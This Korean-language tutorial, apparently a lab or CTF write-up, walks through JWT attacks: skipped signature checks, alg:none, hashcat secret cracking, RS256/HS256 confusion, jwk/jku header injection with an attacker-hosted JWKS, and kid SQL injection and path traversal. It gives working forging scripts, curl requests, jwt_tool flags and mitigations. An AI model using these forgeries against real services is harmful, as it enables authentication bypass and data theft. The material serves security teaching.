1. JWT란 무엇인가

JSON Web Token(JWT)은 클라이언트와 서버 간에 데이터를 안전하게 전달하기 위한 표준 형식이다. 많은 웹 애플리케이션이 세션 쿠키 대신 JWT를 인증 토큰으로 사용한다.

JWT는 점(.)으로 구분된 세 부분으로 구성된다.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9   ← Header  (Base64url)
.
eyJ1c2VyIjoiYWRtaW4iLCJpc0FkbWluIjp0cnVlfQ  ← Payload (Base64url)
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  ← Signature

각 부분을 디코딩하면:

// Header
{ "alg": "HS256", "typ": "JWT" }

// Payload
{ "user": "admin", "isAdmin": true, "exp": 1711186044 }

서명은 HMAC(Header.Payload, Secret) 또는 RSA/ECDSA로 계산되며, 페이로드 위변조를 방지하는 핵심 보안 장치다.

세션과의 차이

전통적인 세션 방식은 서버가 상태를 기억한다. 로그인하면 서버 DB에 세션을 저장하고, 클라이언트에는 세션ID만 쿠키로 준다. 요청마다 서버가 DB를 조회해서 유효 여부를 확인한다.

JWT는 반대다. 서버는 아무것도 저장하지 않는다. 토큰 자체에 사용자 정보와 권한이 들어있고, 서버는 서명만 검증하면 끝이다.

세션 JWT
상태 저장 위치 서버 DB 클라이언트
서버 DB 조회 요청마다 없음
수평 확장 Redis 등 공유 저장소 필요 어느 서버든 검증 가능
강제 로그아웃 서버에서 즉시 삭제 가능 토큰 만료 전까지 불가
토큰 탈취 시 세션ID만 노출 페이로드 내용까지 노출

JWT의 가장 큰 약점은 발급된 토큰을 강제로 무효화할 수 없다는 점이다. 그래서 실무에서는 access token(JWT, 단명) + refresh token(DB 저장, 장명) 조합을 많이 쓴다. refresh token을 DB에서 관리함으로써 강제 로그아웃 문제를 보완한다.

JWT가 사용하는 알고리즘 종류

알고리즘 방식
HS256/384/512 대칭 HMAC 동일 시크릿으로 서명·검증
RS256/384/512 비대칭 RSA 개인키 서명 / 공개키 검증
ES256/384/512 비대칭 ECDSA 개인키 서명 / 공개키 검증
none 없음 서명 없음

2. 서명 검증 누락 (Missing Signature Verification)

취약점 원리

서버가 JWT를 검증할 때 jwt.verify() 대신 jwt.decode()를 사용하면 서명을 전혀 확인하지 않는다.

// ✅ 안전한 코드
const decoded = jwt.verify(token, SECRET_KEY);

// ❌ 취약한 코드 — 서명 무시, 페이로드만 파싱
const decoded = jwt.decode(token);

공격자는 페이로드를 자유롭게 변조한 뒤 아무 서명이나 붙여서 전송해도 서버가 그대로 수락한다.

공격 흐름

Step 1: 로그인하여 JWT 획득

TOKEN=$(curl -s -X POST http://192.168.253.1:4000/c1/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user","password":"password"}' | jq -r '.token')
echo "JWT: $TOKEN"

Output:

JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlzQWRtaW4iOmZhbHNlLCJpYXQiOjE3ODIxMTIzNjh9.xuOENhEkOV7TzQ6_2V_CwtYH70ifD-7wfqLRv2Da4dQ

Step 2: JWT 페이로드 디코딩

import base64, json

token = "여기에_JWT_붙여넣기"
parts = token.split('.')

# Base64url 디코딩 (+패딩)
def decode_part(s):
    s += '=' * (4 - len(s) % 4)
    return json.loads(base64.urlsafe_b64decode(s))

header  = decode_part(parts[0])
payload = decode_part(parts[1])
print("헤더:", header)    # {"alg": "HS256", "typ": "JWT"}
print("페이로드:", payload)  # {"user": "user", "isAdmin": false}

Output:

헤더: {'alg': 'HS256', 'typ': 'JWT'}
페이로드: {'user': 'user', 'isAdmin': False, 'iat': 1782112368}

Step 3: isAdmin 변조 후 재조립

import base64, json

def b64url_encode(data):
    if isinstance(data, dict):
        data = json.dumps(data, separators=(',', ':')).encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = {"alg": "HS256", "typ": "JWT"}
payload = {"user": "user", "isAdmin": True}   # ← 변조

h = b64url_encode(header)
p = b64url_encode(payload)

# 서명은 아무거나 (검증 안 함)
forged = f"{h}.{p}.FAKESIGNATURE"
print(forged)

Output(재생성된 JWT 토큰):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlzQWRtaW4iOnRydWV9.FAKESIGNATURE

Step 4: 위조된 JWT로 /admin 접근

curl -s http://192.168.253.1:4000/c1/admin \
  -H "Authorization: Bearer $FORGED"

결과:

{
  "page": "Admin Dashboard",
  "stats": { "total_users": 1247, "active_sessions": 83 },
  "recent_users": [
    { "username": "admin",  "email": "admin@corp.local",  "role": "superadmin" },
    { "username": "j.park", "email": "j.park@corp.local", "role": "editor" }
  ],
  "system": { "db_host": "db.corp.internal:5432", "env": "production" }
}

개발자가 JWT 라이브러리를 처음 사용할 때 decode()verify()의 차이를 모르고 사용하는 경우가 많다. Node.js의 jsonwebtoken 라이브러리 문서를 제대로 읽지 않으면 이 실수를 범하기 쉽다.


4. None 알고리즘 공격 (None Algorithm Attack)

취약점 원리

JWT 표준에는 alg: "none" 이라는 특수 값이 존재하며, 이는 "서명 없음"을 의미한다. 서버가 이 알고리즘을 허용하면 서명이 전혀 없는 JWT를 수락한다.

// ❌ 취약한 코드 — none 알고리즘 허용
jwt.verify(token, secret, { algorithms: ['HS256', 'none'] });

JWT 표준의 none 값은 내부 신뢰 환경(마이크로서비스 내부 통신 등)을 위해 정의되었지만, 퍼블릭 API에서 허용하면 치명적이다.

공격 흐름

Step 1: None 알고리즘 JWT 수동 생성

헤더의 algnone으로 변경하고, 서명 부분을 제거한다. 단, 마지막 점(.)은 반드시 남겨야 한다.

import base64, json

def b64url_encode(data):
    if isinstance(data, dict):
        data = json.dumps(data, separators=(',', ':')).encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = {"alg": "none", "typ": "JWT"}  # ← alg를 none으로
payload = {"user": "user", "isAdmin": True}

h = b64url_encode(header)
p = b64url_encode(payload)

# 마지막 점(.) 유지, 서명 부분 비움
forged = f"{h}.{p}."
print(forged)

Output(생성된 JWT):

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImlzQWRtaW4iOnRydWV9.

Step 2: /admin 접근

curl -s http://192.168.253.1:4000/c2/admin \
  -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImlzQWRtaW4iOnRydWV9."

중요: JWT의 마지막 점(.)은 반드시 포함해야 한다. 없으면 파싱 오류가 발생한다.

결과:

{
  "page": "Order Management - Admin",
  "summary": { "pending_orders": 34, "revenue_today": 15840.5 },
  "recent_customers": [
    { "name": "Alice Kim", "email": "alice@shop.com", "credit_card_last4": "4242" },
    { "name": "Bob Lee",   "email": "bob@shop.com",   "credit_card_last4": "1337" }
  ],
  "internal": { "api_key": "sk_live_4xT9mK2pQr8vLnWjYcBzHs" }
}

우회 변형 기법

일부 서버는 정확히 "none" 문자열만 필터링한다. 이 경우 대소문자 변형을 시도한다.

alg: "None"
alg: "NONE"
alg: "nOnE"

5. 약한 서명 시크릿 크래킹 (Weak Secret Cracking)

취약점 원리

HS256/384/512는 대칭 알고리즘으로, 서버가 시크릿 하나로 서명과 검증을 모두 수행한다. 시크릿이 짧거나 추측 가능한 단어라면 hashcat으로 오프라인 브루트포스가 가능하다.

JWT = Header.Payload.Signature
Signature = HMAC-SHA256(Header.Payload, secret)

공격자는 JWT 전체를 오프라인으로 가져가서 HMAC(data, guess) == signature를 만족하는 guess를 찾는다. 온라인 공격이 아니므로 요청 횟수 제한 우회 없이 초당 수백만 번 시도 가능하다.

공격 흐름

Step 1: JWT 획득

TOKEN=$(curl -s -X POST http://192.168.253.1:4000/c3/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user","password":"password"}' | jq -r '.token')

# JWT를 파일에 저장 (hashcat 입력용)
echo -n "$TOKEN" > jwt.txt

Step 2: hashcat으로 시크릿 크래킹

hashcat의 모드 -m 16500이 JWT 전용이다.

hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
<JWT TOKEN>:secret
               ↑
         크래킹된 시크릿 값

Output(hashcat 출력):

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Time.Started.....: 2 secs
Recovered........: 1/1 (100.00%)
Speed.#1.........:  3475.1 kH/s

Step 3: 크래킹된 시크릿으로 JWT 위조

import jwt as pyjwt  # pip install PyJWT

cracked_secret = "secret"
forged_payload = {"user": "user", "isAdmin": True}

forged_token = pyjwt.encode(forged_payload, cracked_secret, algorithm="HS256")
print(forged_token)

또는 jwt.io에서 시크릿을 입력하고 수동으로 위조할 수 있다.

Step 4: /admin 접근

curl -s http://192.168.253.1:4000/c3/admin \
  -H "Authorization: Bearer $FORGED_TOKEN"

결과:

{
  "page": "HR Portal - Admin",
  "notice": "CONFIDENTIAL",
  "employees": [
    { "name": "James Park", "salary": 85000, "ssn_last4": "4821" },
    { "name": "Mia Choi",   "salary": 92000, "ssn_last4": "3374" }
  ],
  "payroll": { "db_connection": "payroll.corp.internal:3306", "db_pass": "P@yr0ll#2024!" }
}

약한 시크릿

secret
password
123456
jwt_secret
mysecret
your-secret-key
changeme
development
test

6. 알고리즘 혼동 공격 (Algorithm Confusion: RS256 → HS256)

취약점 원리

이 공격은 비대칭(RS256)과 대칭(HS256) 알고리즘의 혼용에서 발생한다.

RS256: 개인키로 서명 → 공개키로 검증
HS256: 동일 시크릿으로 서명·검증

서버가 RS256으로 운영되지만 HS256도 수락하도록 잘못 설정된 경우:

// ❌ 취약한 코드
jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] });

서버가 HS256 토큰을 받으면 publicKey를 HMAC 시크릿으로 사용하여 검증한다. 공격자는 공개키를 서버에서 직접 다운받을 수 있으므로, 동일한 공개키로 HS256 JWT를 위조할 수 있다.

서버 검증 로직:
  if (header.alg == "RS256") → RSA verify(signature, publicKey)
  if (header.alg == "HS256") → HMAC verify(signature, publicKey)  ← 공개키가 HMAC 시크릿!

공격자:
  공개키 획득 (공개되어 있음) → HS256으로 서명(시크릿=공개키) → 서버가 수락

공격 흐름

Step 1: 로그인하여 RS256 JWT 획득

TOKEN=$(curl -s -X POST http://192.168.253.1:4000/c4/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user","password":"password"}' | jq -r '.token')
echo "alg 확인: RS256"

Step 2: 공개키 다운로드

curl -s http://192.168.253.1:4000/c4/public-key | tee public.pem

공개키 형태:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAim8V9OlKRE0ZTZ09auoI
H2ki1g7OUU9CmAlh9t2OGKnRBQMnPn9S+vj3heI/pc3lqHDR1yxJQmpBdb7u0mPV
ZRhKgJkRDl+kxl6Ybbl56bg4cPRiJF8t4djkP+OERDwZOrFRpVUMiGKiO7RSLRYB
BoovfrDLZ9m8G6R9/Of/GEv3c+o/tl5t8yp3hCCF60iJby6cnPBLn14RqzGxw+ys
BGfHTB1wqgM7LlJjqia7YNmB/cFBnaVJ8xoxyM1EbOcSvSNitmKjaXV7KUwOgG5d
d+5MrLstKv6Y81ISQlhVBMQzdC+npPuke0aS+Q3of7uwSs7jS3WzNtBCrcBgkyjQ
4QIDAQAB
-----END PUBLIC KEY-----

공개키는 비밀이 아니므로 서버에서 직접 노출하거나, 두 개의 JWT에서 수학적으로 역산할 수 있다.

Step 3: 공개키를 HS256 시크릿으로 사용하여 JWT 위조

import hmac, hashlib, base64, json

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = {"alg": "HS256", "typ": "JWT"}
payload = {"user": "user", "isAdmin": True}

header_enc  = b64url_encode(json.dumps(header,  separators=(',', ':')).encode())
payload_enc = b64url_encode(json.dumps(payload, separators=(',', ':')).encode())

signing_input = f"{header_enc}.{payload_enc}".encode()

# 공개키를 HMAC 시크릿으로 사용 (Algorithm Confusion)
with open('public.pem', 'rb') as f:
    secret = f.read()

sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
token = f"{header_enc}.{payload_enc}.{b64url_encode(sig)}"
print(token)

Step 4: /admin 접근

curl -s http://192.168.253.1:4000/c4/admin \
  -H "Authorization: Bearer $FORGED_TOKEN"

결과:

{
  "page": "Finance Admin Portal",
  "accounts": [
    { "account_no": "****-****-4521", "owner": "Corp Operating Fund", "balance": 2847392 },
    { "account_no": "****-****-9932", "owner": "Corp Reserve",        "balance": 15200000 }
  ],
  "pending_transfers": [
    { "id": "TXN-8821", "amount": 50000, "initiated_by": "cfo@corp.local", "status": "pending_approval" }
  ],
  "integrations": {
    "aws_access_key": "AKIAIOSFODNN7EXAMPLE",
    "stripe_secret": "sk_live_9Kp2mQrTvLnWjYcBzHs4xT"
  }
}

공개키를 직접 얻을 수 없는 경우

서버가 공개키를 노출하지 않을 때는 JWT 두 개에서 공개키를 역산한다.

# rsa_sign2n 도구 사용
git clone https://github.com/silentsignal/rsa_sign2n
cd rsa_sign2n/standalone/
docker build . -t sig2n
docker run -it sig2n /bin/bash

# 컨테이너 안에서
python3 jwt_forgery.py <JWT_1> <JWT_2>
# → x509.pem, pkcs1.pem 파일에 공개키 후보 저장
# → 위조된 JWT도 자동 생성

7. 추가 JWT 공격 (Further JWT Attacks)

7-1. JWT 시크릿 재사용 (Cross-Application Secret Reuse)

같은 회사의 여러 서비스가 동일한 JWT 시크릿을 공유하는 경우, 한 서비스에서 발급된 JWT를 다른 서비스에 그대로 재사용할 수 있다.

시나리오:
  socialA.htb: user "alice"는 moderator (JWT에 "role": "moderator" 포함)
  socialB.htb: user "alice"는 일반 사용자 (JWT에 "role": "user" 포함)
  두 서비스가 동일 시크릿 사용 → alice는 socialA JWT를 socialB에 전송 → 모더레이터 권한 획득

모의해킹에서 여러 서브도메인이 동일 JWT를 사용하는지 확인하는 법:

  1. 한 서브도메인에서 발급받은 JWT를 다른 서브도메인 API에 그대로 전송
  2. 수락되면 시크릿이 공유됨을 의미

7-2. jwk 헤더 인젝션 (JWK Header Injection)

jwk (JSON Web Key) 클레임은 JWT 서명 검증에 사용할 공개키를 JWT 헤더 안에 직접 포함하는 표준 클레임이다.

// JWT 헤더에 jwk 클레임이 있는 경우
{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "...",
    "e": "AQAB"
  }
}

서버가 jwk 클레임의 키를 검증 없이 신뢰하면: 공격자가 자신의 개인키로 JWT를 서명하고, 헤더에 자신의 공개키를 jwk로 삽입하면 서버가 수락한다.

공격 스크립트:

# Step 1: 자신의 RSA 키 쌍 생성
openssl genpkey -algorithm RSA -out exploit_private.pem -pkeyopt rsa_keygen_bits:2048
openssl rsa -pubout -in exploit_private.pem -out exploit_public.pem
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from jose import jwk
import jwt

# 페이로드 위조
jwt_payload = {'user': 'alice', 'isAdmin': True}

# 공개키를 JWK 포맷으로 변환
with open('exploit_public.pem', 'rb') as f:
    public_key_pem = f.read()
public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend())
jwk_key = jwk.construct(public_key, algorithm='RS256')
jwk_dict = jwk_key.to_dict()

# 자신의 개인키로 서명 + jwk 클레임에 공개키 삽입
with open('exploit_private.pem', 'rb') as f:
    private_key_pem = f.read()
forged_token = jwt.encode(jwt_payload, private_key_pem, algorithm='RS256',
                           headers={'jwk': jwk_dict})
print(forged_token)
# 의존성 설치
pip3 install pyjwt cryptography python-jose
python3 exploit_jwk.py

핵심: 서버가 JWT 헤더의 jwk 클레임을 신뢰하면, 공격자가 제공한 공개키로 검증이 통과된다.

7-3. jku URL 조작 (JWK Set URL Manipulation)

jku (JWK Set URL) 클레임은 jwk와 동일한 목적이지만, 공개키를 직접 포함하는 대신 외부 URL에서 키를 가져온다.

{
  "alg": "RS256",
  "jku": "https://trusted-server.com/.well-known/jwks.json"
}

서버가 jku URL을 검증하지 않으면:

  1. 공격자가 자신의 서버에 jwks.json 호스팅
  2. JWT의 jku를 자신의 서버 URL로 변조
  3. 자신의 개인키로 JWT 서명
  4. 서버가 jku URL로 공개키를 가져와 서명 검증 → 수락
# 자신의 서버에 올릴 jwks.json 생성 예시
import json
from jose import jwk
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

with open('exploit_public.pem', 'rb') as f:
    public_key_pem = f.read()
public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend())
jwk_key = jwk.construct(public_key, algorithm='RS256')
jwks = {"keys": [jwk_key.to_dict()]}

with open('jwks.json', 'w') as f:
    json.dump(jwks, f)

# python3 -m http.server 8080 으로 호스팅 후
# jku를 http://<attacker-ip>:8080/jwks.json 으로 설정

추가 악용: jku 클레임은 블라인드 GET 기반 SSRF 공격에도 악용될 수 있다. 내부 서버 URL을 jku에 삽입하면 서버가 내부 리소스로 요청을 보낸다.

7-4. x5c / x5u 클레임

x5cx5ujwk/jku와 유사하지만 X.509 인증서 기반이다.

클레임 방식 공격 방법
jwk JWT 헤더 내 공개키 직접 포함 공격자 공개키 삽입
jku 외부 URL에서 공개키 로드 URL을 공격자 서버로 조작
x5c JWT 헤더 내 인증서 직접 포함 공격자 자체 서명 인증서 삽입
x5u 외부 URL에서 인증서 로드 URL을 공격자 서버로 조작

7-5. kid 클레임 공격 (Key ID Injection)

kid (Key ID) 클레임은 JWT 서명에 사용된 키를 식별하는 데 쓰인다. 서버가 kid 값을 데이터베이스 조회나 파일 읽기에 직접 사용하면 다양한 취약점으로 이어진다.

SQL Injection:

// kid 값이 DB 쿼리에 직접 삽입되는 경우
{
  "alg": "HS256",
  "kid": "' UNION SELECT 'attacker_secret' -- "
}
// 서버 쿼리: SELECT key FROM keys WHERE id = '<kid>'
// → attacker_secret이 HMAC 시크릿으로 사용됨
// → PyJWT로 'attacker_secret'으로 서명한 JWT가 통과

Path Traversal:

{
  "alg": "HS256",
  "kid": "../../dev/null"
}
// 서버가 /app/keys/<kid> 파일을 읽으면 /dev/null (빈 파일) 내용이 시크릿이 됨
// → 빈 문자열("")로 서명한 JWT 수락
# Path Traversal 활용 예시
import jwt as pyjwt

# /dev/null = 빈 바이트
payload = {"user": "alice", "isAdmin": True}
token = pyjwt.encode(payload, "", algorithm="HS256",
                     headers={"kid": "../../dev/null"})
print(token)

kid 공격은 실제 환경에서는 드물지만, CTF나 취약한 커스텀 구현에서 종종 발견된다.

8. jwt_tool — 자동화 분석 도구

jwt_tool은 JWT 취약점을 빠르게 분석하고 익스플로잇하는 CLI 도구다. 수동으로 하나씩 시도하는 작업을 자동화한다.

설치

git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt

JWT 분석

python3 jwt_tool.py <JWT>

# 출력 예시:
# Token header values:
# [+] alg = "HS256"
# [+] typ = "JWT"
#
# Token payload values:
# [+] user = "htb-stdnt"
# [+] isAdmin = False
# [+] exp = 1711186044  ==> TIMESTAMP = 2024-03-23 10:27:24 (UTC)
# [-] TOKEN IS EXPIRED!

주요 익스플로잇 플래그

플래그 공격
-X a alg:none 공격 (대소문자 변형 자동 생성)
-X n null 서명 공격
-X k -pk public.pem 알고리즘 혼동 (공개키 지정)
-X i jwk 헤더 인젝션
-X s -ju <URL> jku URL 조작 (자신의 서버 JWKS URL 지정)
-C -d wordlist.txt HMAC 시크릿 크래킹

None 알고리즘 자동 공격

# isAdmin을 true로 변조하면서 none 알고리즘 적용 (대소문자 변형 포함)
python3 jwt_tool.py -X a -pc isAdmin -pv true -I <JWT>

# 출력: 여러 변형 JWT 자동 생성
# eyJhbGciOiJub25lIi... (none)
# eyJhbGciOiJOb25lIi... (None)
# eyJhbGciOiJOT05FIi... (NONE)

알고리즘 혼동 자동 공격

# 공개키 파일로 RS256→HS256 혼동 공격
python3 jwt_tool.py -X k -pk public.pem -pc isAdmin -pv true -I <JWT>

시크릿 크래킹

# jwt_tool로 직접 크래킹 (내부적으로 hashcat/John 활용)
python3 jwt_tool.py -C -d /usr/share/wordlists/rockyou.txt <JWT>

9. 대응 방법

1. 알고리즘 명시적 고정

// ❌ 취약: 알고리즘 미지정 또는 여러 허용
jwt.verify(token, key);
jwt.verify(token, key, { algorithms: ['RS256', 'HS256'] });

// ✅ 안전: 하나의 알고리즘만 허용
jwt.verify(token, key, { algorithms: ['RS256'] });

2. verify() 사용

// ❌ 취약
const decoded = jwt.decode(token);

// ✅ 안전
const decoded = jwt.verify(token, SECRET_KEY, { algorithms: ['HS256'] });

3. 강력한 시크릿 키 생성

# 256비트 랜덤 시크릿 생성
openssl rand -hex 32

# 출력 예시: a3f8c2d1e9b0f4a7c6d5e8b1a2f3c4d5e6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1
// ❌ 취약
const SECRET = 'password';
const SECRET = 'your-secret-key';

// ✅ 안전: 32바이트 이상 랜덤 시크릿
const SECRET = process.env.JWT_SECRET; // 환경변수에서 로드

4. 비대칭 알고리즘 사용 (권장)

RS256 또는 ES256을 사용하면 시크릿 크래킹 공격이 불가능하다.

// 서명: 개인키로 (서버만 보유)
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });

// 검증: 공개키로 (유출되어도 위조 불가)
const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });

5. none 알고리즘 차단

// 항상 명시적 알고리즘 지정으로 none 자동 차단
jwt.verify(token, key, { algorithms: ['HS256'] });

6. jwk / jku 클레임 처리 주의

// ❌ 취약: JWT 헤더의 jwk/jku를 그대로 신뢰
// → 공격자가 임의 키를 주입하여 위조 가능

// ✅ 안전: jwk/jku 클레임을 무시하고 서버에 하드코딩된 키만 사용
jwt.verify(token, hardcodedPublicKey, { algorithms: ['RS256'] });

jku/x5u 클레임을 사용해야 하는 경우 허용 URL 화이트리스트를 반드시 구현한다:

const ALLOWED_JKU_HOSTS = ['keys.mycompany.com'];

function validateJku(url) {
  const parsed = new URL(url);
  if (!ALLOWED_JKU_HOSTS.includes(parsed.hostname)) {
    throw new Error('Untrusted jku URL');
  }
}

7. kid 클레임 파라미터화

// ❌ 취약: kid를 SQL 쿼리에 직접 삽입
const key = db.query(`SELECT key FROM keys WHERE id = '${kid}'`);

// ✅ 안전: Prepared Statement 사용
const key = db.query('SELECT key FROM keys WHERE id = ?', [kid]);

// ✅ 안전: kid를 화이트리스트로 제한
const VALID_KIDS = ['key-2024-01', 'key-2024-02'];
if (!VALID_KIDS.includes(kid)) throw new Error('Invalid kid');

8. JWT 만료 시간 설정

// 항상 exp 클레임 설정 (무기한 유효 방지)
const token = jwt.sign(payload, secret, {
  algorithm: 'HS256',
  expiresIn: '1h'  // 짧은 만료 시간 권장
});